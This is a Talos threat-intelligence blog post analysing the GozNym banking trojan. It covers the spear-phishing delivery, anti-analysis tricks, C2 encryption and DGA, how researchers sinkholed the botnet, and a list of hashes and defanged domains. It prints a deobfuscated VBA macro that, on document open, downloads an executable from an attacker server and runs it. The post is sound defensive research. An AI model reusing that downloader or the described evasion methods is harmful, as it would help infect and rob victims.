Threat Spotlight: GozNym

blog.talosintelligence.com/goznym/

Edmund Brumaghin September 27, 2016

By Edmund Brumaghin

Tuesday, September 27, 2016 10:09

This blog was authored by Ben Baker, Edmund Brumaghin and Jonah Samost.

Executive Summary

GozNym is the combination of features from two previously identified families of malware, Gozi and Nymaim. Gozi was a widely distributed banking trojan with a known Domain Generation Algorithm (DGA) and also contained the ability to install a Master Boot Record (MBR) rootkit. Nymaim emerged in 2013 as malware which was used to deliver ransomware and was previously distributed by the Black Hole exploit kit. The code had various anti-analysis techniques, such as the obfuscation of Win32 API calls.

There have been multiple instances in which the source code of the Gozi trojan has been leaked. Due to these leaks it was possible for the GozNym authors to make use of the 'best of breed' methodologies incorporated into Gozi and create a significantly more robust piece of malware which was now capable of utilizing strengthened persistence methods and ultimately becoming a powerful banking trojan.

Given the recent success of the GozNym trojan and the number of targeted attacks seeking to infect victims with this malware, Talos decided to take a deep look at the inner workings of this particular malware family. Talos started by examining the binaries associated with GozNym as well as the distribution mechanisms. Additionally, we were able to successfully reverse engineer the DGA associated with a GozNym command and control (C2) infrastructure and sinkhole that botnet. This gave Talos great visibility into the size and scope of this threat and the number of infected systems beaconing to C2 servers under adversarial control.

A Constantly Evolving Threat

In analyzing available telemetry data, Talos uncovered four different variants of GozNym that exhibited slightly different characteristics with respect to the Domain Generation Algorithms (DGAs) used to generate the list of C2 servers to connect to. However, it is possible that they were all created and deployed by the same threat actor or group as there are several overlaps in regards to the use of the same C2 infrastructure, where the binaries were being distributed from, and the phishing campaigns associated with the distribution of the samples. In several cases, samples using different variations of the DGA contacted the same C2 servers. Likewise, servers used to distribute the malicious binaries were observed serving up multiple variants of GozNym.

Initial Infection Vector

Talos identified several spear phishing campaigns which were used to distribute the GozNym malware. The downloader was delivered via Microsoft Word documents containing VBA macros which were responsible for executing HTTP GET requests to download and execute a malicious binary. Analysis of the emails associated with these spear phishing campaigns showed that the adversary was selective and actively attempting to stay under the radar.

The theme of this spear phishing campaign was similar to others commonly seen in email-based threats whereby messages will be directed to the recipient to open an attached "tax invoice" or "payment document". The adversary took the time to profile each of the organizations targeted in these campaigns. In many cases that Talos analyzed, a single email was sent to each organization with the sole recipient being an employee in the

accounting or finance department of the targeted organization. Additionally, the contents of each message were tailored to the organization and featured attachment names also appropriately tailored.

Figure 1: Email with Subject: Invoice [Random Digits] for [Org Name] via Intuit QuickBooks

In one such campaign we observed the attached MS Word documents containing the malicious VBA macros were made to appear as legitimate payment invoices from Bank of America. The actor also tried to further convince the user to enable macros within Microsoft word by providing a notification prompt.

Figure 2: Example Attachment #1

In another campaign, the attachment was delivered as a "Tax Invoice", and images included references to Intuit QuickBooks. The same notification was used again to try and coerce the victim to enable macros.

Figure 3: Example Attachment #2

In the event that macros are enabled by the victim, the VBA downloader is then used to retrieve a malicious binary from an attacker controlled web server and executed locally on the system. We extracted the VBA macros from a Microsoft Word document which resulted in the following obfuscated code:

Figure 4: Example Obfuscated Downloader

The VBScript has been obfuscated using ROT substitution and different base values have been used throughout to determine how to rotate. Once the obfuscation has been removed, it is obvious exactly what this script intends to do, which is to download a binary and execute it, thus infecting the system.

```
Private Sub Document_Open()
    Obtain "http://morelikestoday.com/office.exe"
End Sub
Private Sub Obtain(ByVal url As String)
    [...]
    Set var_object = CreateObject("msxml2.ServerXMLHTTP.6.0")
    CallByName var_object , "Open" , 1, "GET" , url, False
    CallByName var_object , "Send", 1
    response = CallByName(var_object, "ResponseBody", 2)
    Set stream = Create_stream
    CallByName stream , "Write" , 1, response
    CallByName stream , "SaveToFile", 1, Location, 2
    CallByName stream , "Close" , 1
    Application.Run "Create_shell"
    [...]

[...]

Private Function Location() As String
    Location = Environ("TEMP") & "/0.8800751613821047." & "exe"
End Function

[...]

Private Function Create_stream() As Variant
    Set Create_stream= CreateObject("ADODB.Stream")
    Create_stream.Type = 1
    Create_stream.Open
End Function

[...]

Private Sub Create_shell()
    Set shell_obj = CreateObject("WScript.Shell")
    CallByName shell_obj , "Exec" , 1 , Location
End Sub
```

Figure 5: Example Deobfuscated Downloader

Analyzing GozNym

Once the malicious binary has been executed, the malware unpacks itself and allocates a buffer into the rundll32.exe process and copies its unpacked contents into it. More specifically, it executes rundll32.exe using a fake command argument consisting of a random command line option and a random DLL name. It must be noted that this is not the standard way to call to rundll32.exe, and that the dll does not actually exist. The malware will attempt to inject the main unpacked data into this process. If successful, it will begin communications with the C2 servers.

Example: rundll32.exe -ya ngfk.dll

The GozNym samples Talos analyzed used several anti-analysis and obfuscation techniques in an attempt to make analysis more difficult and time consuming. One obfuscation technique employed by the authors of this malware is related to the way in

which API calls were obfuscated. The sample implements its own method for importing functions, resolving their addresses in a custom way, at runtime. API calls are done by pushing two hard coded values to the stack, then jumping to a complex function that is responsible for resolving the API call.

All of the function calls are done from the same instruction: a JMP located at a fixed address in memory. The return address is not the real call point, but a randomly chosen gadget in a library function that will always contain the instruction CALL EBX. EBX contains a given address in the API resolution code. This code adjusts the stack then returns back to the actual caller. By using this method, the malware obfuscates the address at which the API function is called - the analyst will not be able to obtain the actual caller address when the API function is called or when it returns back, because it will not reside in the stack. Additionally, control flow is obfuscated, computing the target address of JMP/CALL instructions at runtime. Similarly, constants are XORed, and decoded by calling a function that accepts a parameter in EAX, then returns the deobfuscated constant into EAX.

Another control flow redirection obfuscation consists of creating a thread to execute a gadget that returns into the address pointed by the parameter passed to the thread function, that is itself a shellcode that jumps into a different function through a CALL EAX.

GozNym contains at least one encrypted memory region which is only decrypted on-demand. The sample that was analyzed uses a function to copy individual data items to and from this memory region, in such a way that all of the data inside this region is always encrypted and the decrypted data resides in memory temporarily. The malware makes heavy use of custom structures to store and pass data during execution, and well as to implement custom thread synchronization mechanisms.

C2 Characteristics & Encryption

The malware initially attempts to determine if the infected system has internet connectivity by performing a DNS to query for the A records of google.com and microsoft.com. Later, it attempts to query for its pseudo-randomly generated domains using Google's DNS servers (8.8.8.8 and 8.8.4.4). Once it has found a running C2 server, GozNym uploads system survey information to the server via RC4 encrypted HTTP POST requests. The system survey includes a Machine ID, Windows Version, as well as checksums of username, computer name, and encryption keys stored in the sample. The RC4 encryption key is generated using a partial key stored in the binary, followed by a randomly generated series of bytes. GozNym builds a buffer containing the randomly generated part of the key, the encrypted data, as well as the sizes of both of these byte arrays. It then Base64 encodes this buffer, and sends it as HTTP POST data to a C2 server.

GozNym puts a lot of effort into being difficult to detect in network traffic. Every field in the C2 communications is either randomly generated or encrypted using the partially-random key. The URL arguments can be randomly generated with a random number of arguments or can be hardcoded in the malware configuration data. The domains are randomly generated and the User-Agent strings are generated by Windows API and therefore not static.

Reversing the DGA

Talos discovered multiple DGA variants with differing configurations, and chose to report in-depth on the most interesting one. We are actively working to sinkhole all of the botnets that we find. GozNym supports two stages of operation in order to find a viable command and control IP. Additionally, it supports two methods of querying domains: a simple gethostbyname API call and a more complex custom DNS protocol implementation using either 8.8.4.4 or 8.8.8.8 as its server. In the latter, it will send UDP packets and parse the response to retrieve a DNS resolution.

Stage 1

In the first stage of DGA, a variation of the XORShift Pseudo-Random Number Generator (PRNG) is used to create a list of fifteen domains. The PRNG is seeded with a bit-shifted value of the current day, as well as two hard coded DWORDs. Each domain is between 5 and 12 lowercase letters long, followed by a randomly selected TLD of .net, .com, .in, or .pw. GozNym then uses Google's DNS server to query each domain, and checks if the IP responses are publicly routable. Once it resolves 2 different IPs, it uses those in the second stage of the DGA.

Stage 2

GozNym uses the same DGA functions, but this time replacing the hard coded DWORD seeds with the IP addresses from the first stage DNS query. GozNym creates a new list of 128 domains ordered into a 'semi-colon-separated-value' string, but instead of resolving them, it forces the first domain in the list to use the TLD of .com. In this process, it finds the first "." character and substitutes the next 4 characters by "com;". Considering that the DGA algorithm generates TLDs of both 2 or 3 characters as stated above, a single character from the second domain may be overwritten.

Next it creates a CRC32 hash of the entire domain list, and a second hash based on XOR and bit rotation, to finally sum up the two hashes. It looks for the result in a table of 360 hashes embedded in the binary, which means the developers have already calculated which seeds and second stage domains they intend to use for at least 360 days. If the hash

is inside the table, gethostbyname is used to query the first domain in the list. By default, gethostbyname returns a single IP address that a domain resolves to but may return several. The second stage domains we've observed used four IP addresses for this stage.

GozNym then uses XOR and SUB operations to transform the IPs from the DNS response to usable IPs. One of the IPs correspond to a checksum of the rest. In order to validate the checksum, it iterates every IP to check if it corresponds to the checksum of the rest. When it finds this checksum, it removes it from the IP list and returns back the list of IPs. If it cannot verify the IP list checksum, it will return no IP.

The last check is performed after the first initial contact. The server will return an encrypted list of 4 hashes corresponding to the domain resolved in the second stage. If the checksum does not match, the sample will not continue processing the contents of the response.

Sinkholing the Unsinkable

GozNym's DGA authentication can seem daunting at first, with 32 bits from a transformed version of the date, followed by 64 bits of entropy from IPs received from the first DNS response. Those 96 bits are used for seeding the random number generator, then constructing a string with 128 randomly generated domains and verifying the checksum of the result. The critical flaw in this authentication is the fact that the final checksum is only 32 bits, which is relatively easy to brute force. Brute forcing scales exponentially with length, so trying all possible seed IPs (64 bits of entropy) would take over 4 billion times as long as brute forcing any seeds that matches the 32 bit hash.

Talos developed scripts to replicate GozNym's DGA and brute force valid IP ranges to find valid Second Stage DGA seeds. The date is non-trivially incorporated in the seeding process, so we had to brute force a new set of seed IPs for each day we wanted to sinkhole. Each attempt required around 1000 calls to the PRNG to generate each character in the domain list, as well as CRC32 hashing the domain list. The probability of any random set of seed IPs causing a hash collision is about 1 in 11 million. We were able to generate one hash collision per 5 hours using a pretty beefy desktop computer. Each hash collision meant that for a single day, we had found a working set of seed IPs and the domain GozNym would attempt to contact after receiving those seed IPs.

Another big mistake in GozNym's DGA was in the way it treated the list of first stage domains. If the first domain in the list returned a valid set of seed IPs, GozNym would never attempt to contact any other domains in that list. By using a hash collision on the first domain, we could prevent GozNym victims from attempting to contact any of the other domains in the list. The machines infected with GozNym would beacon to our sinkhole server once, then get stuck in a loop with lots of sleeping and occasionally querying Google's DNS for our sinkholed domains.

Profiling the Botnet

Our sinkhole server received 23,062 beacons within the first 24 hours of sinkholing GozNym. Each infected machine would only send one beacon before realizing we weren't responding, so that roughly corresponds to one beacon per victim. The most notable exception would be sandboxes, which may beacon out several times from a small set of IPs. We received beacons from 1854 unique IPs.

Here is a breakdown of the top countries from which beacons were received:

Figure 6: GozNym Unique IPs by Country

Conclusion

As can be seen from the characteristics associated with the spam campaigns used to distribute GozNym to potential victims, a good deal of effort was spent determining who to target within organizations and spear phishing was used in an effort to evade detection and avoid alerting administrators. Additionally, the anti-analysis and evasion techniques employed by the malware indicate that the malware authors were concerned with making analysis by security analysts more difficult and time consuming. Spear phishing attacks continue to be used by threat actors attempting to infect organizations. This is likely due to the continued success of these types of attacks. GozNym highlights the dangers of phishing campaigns and the importance of ensuring that organizations are protected from these types of threats. As shown by our analysis, GozNym is a constantly evolving threat that will likely continue to morph moving forward as attackers seek to add additional features and improve upon the ones currently present within the trojan.

Talos is also releasing the following scripts that can be used to perform analysis of GozNym samples:

- **DGA_release.py** which simulates the DGA used by GozNym.
- **Extract_parameters_from_http_post.py** which extracts parameters from the HTTP POST requests that are sent to C2 servers.
- **Decrypt_response.py** which allows for a decryption of the response payload. These tools are available in the Talos Github repository located here.

Coverage

Additional ways our customers can detect and block this threat are listed below.

PRODUCT	PROTECTION
AMP	✔
CWS	✔
ESA	✔
Network Security	✔
WSA	✔

Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors.

CWS or WSA web scanning prevents access to malicious websites and detects malware used in these attacks.

The Network Security protection of IPS and NGFW have up-to-date signatures to detect malicious network activity by threat actors. ESA can block malicious emails sent by threat actors as part of their campaign.

Indicators of Compromise

Maldocs (SHA256):

bf1601d89f816312278ac09b0c21acdc854c4d21e1443f5170b49c5f64ffcc11
4b2cda69112b4d25c25da0df18cad55dd78fed78e9525c1f48ff5b86517af505
48e7c4357cb3f19ca931951b502fcb4a50c18240d2b21c08e54f7086dde35637
c31878e2250f105b1ac52f9584d9f3d67fd07f2795c20cd1fdbe738fa24f639b
4b9f9894953843c5929885e7ca0bfc16fd6b718c7567f83f6cc6881b0c17fb48
e00d90dea174fa51b07d2d991614630721c04d12810fe72a40dea8fd6edfa3f1
fa4f949b0bd6c4f07aee82027c40521ccdc6f4f3d930335caa6dc9bc2fab5140

a68cec90af59daa1e71b4a0c5cf07c62ddc5440e9b1d4303bd111526d0972881
7e42ec7809fd48590c1eb6c5f936187ce7c31177adff831837e9bcc7549ed440
8ea0d38bd3857adc74eebafc548393ca982dbd7cb3a89a0499e453b05938cb6b
aabd5d71c4251f8a56a0434c37ed88aba73d44bd45a66d054123c86665428778
361231d27c6fe4d3f9176c7c5ebfba96618d15ea29f52625ae522054f81115a0
7b90dcf26d56cc4b6325675cb973f122c2d98904eff540afd917b0552aa9c68b
169384f163eb14b23d2bab8a9269ebd8940b0ec51bcd1767d03c43052c0bb139
443f5760fda53f19db6f483c2fcce5658bebaa3d40a9e535e7de4723f3b40e13
212aded63a3af0996f183da175dbd69ad830299cf3b8d97c7e10535c50b29de9
31c4ae8dbf12f4f9999929602cf24179011c30d1599d36db190af7d85ed2ac1b
a56c177c39bfaa4c50d28b549f7b509299135e0bcd82fb694b21bcbde90a7c66
328fa5803334650ac130105c08251d47a3f447f114ead9d012308e11769379cc
06580e38fe29b2e7ce3a53df4c5ccb389eaa21b8a2f0f4e2dbd880b3c5c5a4cd
c16036c5fc0c25970ba55e5e9d1bb0be8a4044f39495679deb4900c12c1e57e3
46001cf7063cffc00f2fcea7828084f6537e7cc500f3372b2014ca42b21a0dcc
cc86b2b5939ba56a33395121a618c61cfb7cde19fa76231a3a5e872bf1262f34

Malicious Binaries (SHA256)

17aa5711b59e389ffb65294b8281d3b5f39ca18ac1ac861327e7d8548f49a4d3
eb10ec30f2fec3830daee6ad502e527ad6ef67e4591d545b1a84dde300b3edb5
55f9cd6cbed53ccc26d6d570807a18f91d9d8c10db352524df424f356d305a6e
c58d987be377e4fa3d512a21fdb522bd894b8d91536330a9abebbb461fd093b7
17aa5711b59e389ffb65294b8281d3b5f39ca18ac1ac861327e7d8548f49a4d3
b98a835c6239c63a6ada26b92a4605264a9a36130bebe288b21c51edd750dea2
87be9450f217180f09436d3307c7441d090ccfcedfcf6ce1275e8b0d2c9f4470
9b52bd5194475d24b6f0e2d191a8e5bc943f80153a3768ce749dc5f93320e52f
bac9c27a047a7fa4cb35f84fd7f63a87ce79e01c91944c48c35854cb891adf2c
65a8909d4f61aff28a66ee4682c7722e68551fd2dc5fce2c8e160f89b2685971
3577f0b44ded3f0207910c5e624a7a2667fea4fff0416f8c3cc37995c494e9e2

Distribution Servers

morelikestoday[.]com
carsi12[.]com
sociallyvital[.]com

C2 Domains

mbcqjsuqsd[.]com
kcrznhnlpw[.]com
humzka[.]com